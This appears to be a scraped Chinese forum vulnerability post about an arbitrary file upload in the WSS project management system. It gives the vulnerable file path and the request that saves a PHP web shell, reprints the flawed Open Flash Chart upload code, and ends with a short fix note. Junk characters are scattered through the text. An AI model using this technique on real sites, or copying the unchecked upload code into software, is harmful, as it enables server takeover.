WSS项目管理系统Post get shell

admin

POST 数据漏洞文件执行任意后缀文件保存
' p# o6 o! @  E- ~8 X 漏洞文件/chart/php-ofc-library/ofc_upload_image.php

9 V# r# _4 ]! ~- R6 C& _) E利用：
* G6 L  @8 G7 G" w% e! t5 M1 J/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名
2 V1 \8 f8 C6 T4 v9 _
Post任意数据
; `& F5 d6 R4 U$ w9 Y保存位置http://localhost/chart/tmp-upload-images/hfy.php
5 W' C) i% s+ ?) b
. m, O& V" \7 }; r8 L9 d9 A
% Y& B3 z0 A: G最新版wss漏洞文件，即使是收费版本也有的，在新浪商店部署的demo~

<?php

3 Q% @+ t4 O1 X8 i8 g//
6 E( v0 s% N# ]! U( F// In Open Flash Chart -> save_image debug mode, you
// will see the 'echo' text in a new window.
//
8 J4 V( i+ B4 y5 P
1 M1 w. Q' X/ U/*
0 y/ u3 s( C) n5 q( I6 @3 w0 N$ h( P
print_r( $_GET );
% i! n: C% ~- i1 ^8 v$ Bprint_r( $_POST );
print_r( $_FILES );

  }! D; A. k8 r+ B0 m9 W& S& y! qprint_r( $GLOBALS );
+ u: h- I( Z* @8 M5 y6 vprint_r( $GLOBALS["HTTP_RAW_POST_DATA"] );

*/
// default path for the image to be stored //
$default_path = '../tmp-upload-images/';

if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
$destination = $default_path . basename( $_GET[ 'name' ] );
  l% x) E; ~  _$ v* q; y
echo 'Saving your image to: '. $destination;
# {8 E' |4 x# I9 T+ {// print_r( $_POST );
9 @2 Z  _1 Y1 ?, ?2 a/ g3 r  d// print_r( $_SERVER );
// echo $HTTP_RAW_POST_DATA;

//
// POST data is usually string data, but we are passing a RAW .png
  O+ `% L' U# |// so PHP is a bit confused and $_POST is empty. But it has saved
// the raw bits into $HTTP_RAW_POST_DATA
//
) @# o1 x6 m+ \: m+ w+ X9 V
$jfh = fopen($destination, 'w') or die("can't open file");
# B, H) k  o4 B# X: s( V% |fwrite($jfh, $HTTP_RAW_POST_DATA);
fclose($jfh);

//
$ J* t7 E+ y8 ^/ a) {* b' ]// LOOK:
; u) B8 p6 X, a$ K6 J//
exit();
" o" x# y# p; A0 E; e//
1 D" b: ]9 Y7 m/ V% x" P// PHP5:
, u% `- Q/ p$ h//
2 _6 z. [3 S7 l; V

" R7 I& q' P( Q1 ?: y! o/ F9 x// default path for the image to be stored //
$default_path = 'tmp-upload-images/';
2 F8 |/ V: O$ K8 S8 R" M
if (!file_exists($default_path)) mkdir($default_path, 0777, true);

// full path to the saved image including filename //
1 P& V& F( d. r! g, N9 Q: |' B$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] );

" x7 C) B' t1 V: D8 F2 V// move the image into the specified directory //
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {
3 o( M6 Y, a6 j) ^* _    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";
3 E( r/ o4 g6 l5 c+ }# I1 m$ x) U: |} else {
    echo "FILE UPLOAD FAILED";
}
& y) W4 ]  V$ d9 E' E: z9 V

?>
/ a; J/ {4 i1 F9 J4 o
% w( ^- N  \6 e
4 b. L# Y/ y0 N/ \


  V2 z0 e* v7 _, f  Q' o4 q! h; j
  u+ A7 F# R5 V9 ^修复方案：
5 k$ c8 T: T. ]1 a# t: C3 z1 H这个漏洞文件就是个杯具，怎么破，加权限验证，后缀等验证~，自己搞
: }2 H4 _$ Z) u2 S

" M& W" I$ F6 B& y6 s2 X$ w2 _
/ Y( Z+ f, F" e; ~  z
7 Z9 f2 G7 K) P  a# ~& d5 [